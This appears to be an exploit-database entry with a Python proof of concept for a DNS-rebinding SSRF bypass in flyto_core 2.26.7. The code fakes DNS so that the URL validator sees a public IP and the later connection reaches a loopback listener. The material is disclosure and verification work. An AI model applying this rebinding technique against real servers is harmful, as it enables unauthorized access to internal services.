threat_intelligence416 wordsRead on Arc Codex

[webapps] flyto_core 2.26.7

# Exploit Title: flyto_core 2.26.7- Server-Side Request Forgery # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/flytohub/flyto-core # Software Link: https://github.com/flytohub/flyto-core # Version: flyto-core <= 2.26.7 (fixed 2.26.8) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-6pm8-6f34-9v3g-flyto-core validate_url_ssrf() validates a resolved IP but the client re-resolves and connects without pinning; a TTL=0 rebind reaches internal targets. Advisory: GHSA-6pm8-6f34-9v3g. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc_dns_rebinding.py) --- """PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin). Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo flips public->private across successive lookups exactly as an attacker TTL=0 DNS does. The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the sentinel (private) -> internal reach that the guard was supposed to block.""" import os, sys, socket, threading, time sys.path.insert(0, os.path.join(os.getcwd(), "src")) from core.utils import validate_url_ssrf, SSRFError # 1) internal "service" sentinel: raw TCP listener on loopback srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) import errno for _p in (8080, 8443): try: srv.bind(("127.0.0.1", _p)); break except OSError: continue else: raise SystemExit("no allowed port free") srv.listen(1) PORT = srv.getsockname()[1] hit = {"internal": False} def accept_once(): try: c,_ = srv.accept(); hit["internal"] = True; c.close() except OSError: pass threading.Thread(target=accept_once, daemon=True).start() HOST = "rebind.attacker.test" PUBLIC = "93.184.216.34" # example.com, public -> guard must ALLOW # 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1 _real = socket.getaddrinfo calls = {"n": 0} def flipping_getaddrinfo(host, port, *a, **k): if host == HOST: calls["n"] += 1 ip = PUBLIC if calls["n"] == 1 else "127.0.0.1" return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))] return _real(host, port, *a, **k) socket.getaddrinfo = flipping_getaddrinfo # 3) GUARD runs (resolves #1 = public) -> should PASS try: validate_url_ssrf(f" http://{HOST}:{PORT}/ ") print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/ (saw public {PUBLIC} on resolution #1)") except SSRFError as e: print("[guard] blocked (rebinding not effective):", e); sys.exit(0) # 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel try: s = socket.create_connection((HOST, PORT), timeout=3); s.close() except OSError as e: print("[connect] error:", e) time.sleep(0.2) socket.getaddrinfo = _real print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}") print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)" if hit["internal"] else "NOT CONFIRMED") srv.close()

How it works

Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.

Questions are cached — you'll always get the same 5 for this article.